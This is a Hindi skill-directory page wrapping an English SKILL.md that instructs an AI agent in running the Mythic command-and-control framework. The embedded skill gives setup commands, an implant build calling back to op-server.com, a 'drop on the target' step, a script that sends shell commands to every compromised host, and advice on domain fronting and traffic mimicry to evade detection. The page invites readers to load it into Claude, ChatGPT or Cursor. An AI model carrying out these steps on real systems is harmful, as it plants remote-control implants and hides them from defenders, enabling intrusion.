c2-mythic
यह क्या करती है
यह गाइड Mythic फ़्रेमवर्क के बारे में है, जो अधिकृत अभ्यासों के लिए कंटेनर और कई एजेंट प्रकार इस्तेमाल करता है। यह क्रॉस-प्लेटफ़ॉर्म परीक्षण सेट करने वाली रेड टीमों और इसके निशान समझना चाहने वाले बचाव करने वालों के लिए है।
कब इस्तेमाल करें
- ✓जब अधिकृत अभ्यास को ऐसा फ़्रेमवर्क चाहिए जो कई ऑपरेटिंग सिस्टम सपोर्ट करे।
- ✓जब टीम को जानना हो कि परीक्षण वातावरण में कौन से एजेंट प्रकार चल रहे हैं।
- ✓जब बचाव करने वाले वे कंटेनर और कंसोल पहचानना चाहें जो Mythic इस्तेमाल करता है।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“क्या आप समझा सकते हैं कि हमारे अधिकृत क्रॉस-प्लेटफ़ॉर्म अभ्यास के लिए Mythic फ़्रेमवर्क कैसे सेट होता है और बचाव करने वालों को क्या देखना चाहिए?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट कंटेनर, वेब कंसोल और एजेंट मॉड्यूल समझाता है, और मेल खाने वाले ट्रैफ़िक और प्रक्रियाओं के लिए निगरानी सुझाता है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Mythic C2 Operator Skill
Mythic (cody-thomas/Mythic) is a containerized, multi-agent C2 framework. Strengths: pluggable agents (~10+ official), good for cross-platform engagements, JSON-RPC tasking model is scriptable.
Setup (one-time, on the operator server)
# Clone + install
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo ./install_docker_ubuntu.sh # or install_docker_kali, install_docker_macos
sudo ./mythic-cli start
# Web UI: https://<host>:7443
# Default creds: mythic_admin / printed during install
# Install agents (each is a separate container)
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo # Windows .NET agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon # macOS/Linux Go agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa # cross-platform Python
sudo ./mythic-cli install github https://github.com/MythicAgents/Athena # cross-platform .NET 6
Agent matrix
| Agent | Platform | Lang | Best for |
|---|---|---|---|
| Apollo | Windows | C# / .NET Framework 3.5+ | Windows-heavy engagements, .NET interop |
| Poseidon | macOS, Linux | Go | Cross-platform, single static binary |
| Athena | Windows / macOS / Linux | .NET 6/7/8 | Modern .NET, AOT-compiled |
| Apfell | macOS | JavaScript for Automation (JXA) | Native macOS execution via osascript |
| Medusa | any | Python | Quick prototypes, fileless |
| Service Wrapper | Windows | C++ | Persistence via Windows service |
Profile matrix
Profiles = the comms channel. An agent can use one or more profiles.
| Profile | Transport | Detection |
|---|---|---|
| http | Plain HTTP(S) with configurable headers, paths, jitter, sleep | Easiest to fingerprint; use behind redirector + domain fronting |
| websocket | WS / WSS | Long-lived; suspicious from desktop |
| smb | Named pipe over SMB | Peer-to-peer between Apollo agents — no internet needed for inner workstations |
| dns | DNS TXT / A queries to attacker NS | Slow, but bypasses every HTTP-only firewall |
| peer-to-peer (SMB) | One agent forwards another's traffic | Use for deep network — only one egress point needed |
# Install a profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns
Build a payload (Apollo + http profile)
# CLI build (faster than web UI for repeatable ops)
sudo ./mythic-cli payload create \
--name "stage1" \
--description "Apollo http to op-server.com" \
--agent Apollo \
--c2_profile http \
--c2_profile_parameter callback_host=https://op-server.com \
--c2_profile_parameter callback_port=443 \
--c2_profile_parameter encrypted_exchange_check=T \
--c2_profile_parameter callback_interval=30 \
--c2_profile_parameter callback_jitter=20 \
--c2_profile_parameter killdate=2025-12-31 \
--build_parameter version=net4.0 \
--output_file stage1.exe
# Drop stage1.exe on the target — it calls back to op-server.com over HTTPS
Tasking from the operator
Mythic provides:
- Web UI (callback view → click + task)
mythic-cli scripting(Python wrapper)- Direct GraphQL API at
https://<host>:7443/v1/graphql
# Scripting example — list all callbacks, task each
python3 -c '
from mythic import mythic, mythic_classes, mythic_utilities, mythic_callbacks
import asyncio
async def main():
m = await mythic.login(server_ip="op-server.com", username="op", password="pw")
cbs = await mythic_callbacks.get_all_active_callbacks(mythic=m)
for cb in cbs:
await mythic_callbacks.issue_task(mythic=m, command_name="shell", parameters="whoami", callback_display_id=cb.display_id)
asyncio.run(main())
'
OPSEC defaults
- Profile encryption: HTTP profile uses encrypted_exchange_check by default — key derived via Diffie-Hellman after the initial connect. Don't disable.
- Sleep / jitter: default 30s/20% is loud. Production engagements: 5-minute sleeps, 25% jitter, weekly killdate.
- Callback host: NEVER call back to a bare attacker IP. Use a domain on a CDN (CloudFront, Cloudflare), preferably with domain fronting.
- Build customization: Apollo's build config supports custom headers, paths, useragent — match the target's expected traffic pattern (Slack workspace? Use Slack-like headers
अक्सर पूछे जाने वाले सवाल
Mythic अलग कैसे है?
गाइड कहती है कि यह मॉड्यूलर है, जिसमें अलग-अलग ऑपरेटिंग सिस्टम के लिए कई एजेंट हैं।
कंसोल कहाँ है?
गाइड बताती है कि यह ऑपरेटर सर्वर पर एक सुरक्षित पोर्ट पर चलने वाला वेब कंसोल है।
इसे कौन चलाए?
अपने एंगेजमेंट के नियमों के भीतर काम करने वाली अधिकृत रेड टीमें।
जानकारी
लेखक का मूल विवरण
Mythic C2 framework operations — multi-agent (Apfell, Apollo, Athena, Poseidon, Medusa), web UI on 7443, RabbitMQ + PostgreSQL backend, JSON-RPC tasking model, building an agent via mythic-cli, profile design (HTTP/SMB/named pipe/peer-to-peer), opsec defaults. Comparison to Sliver: more pluggable, less polished UI.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #14132
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।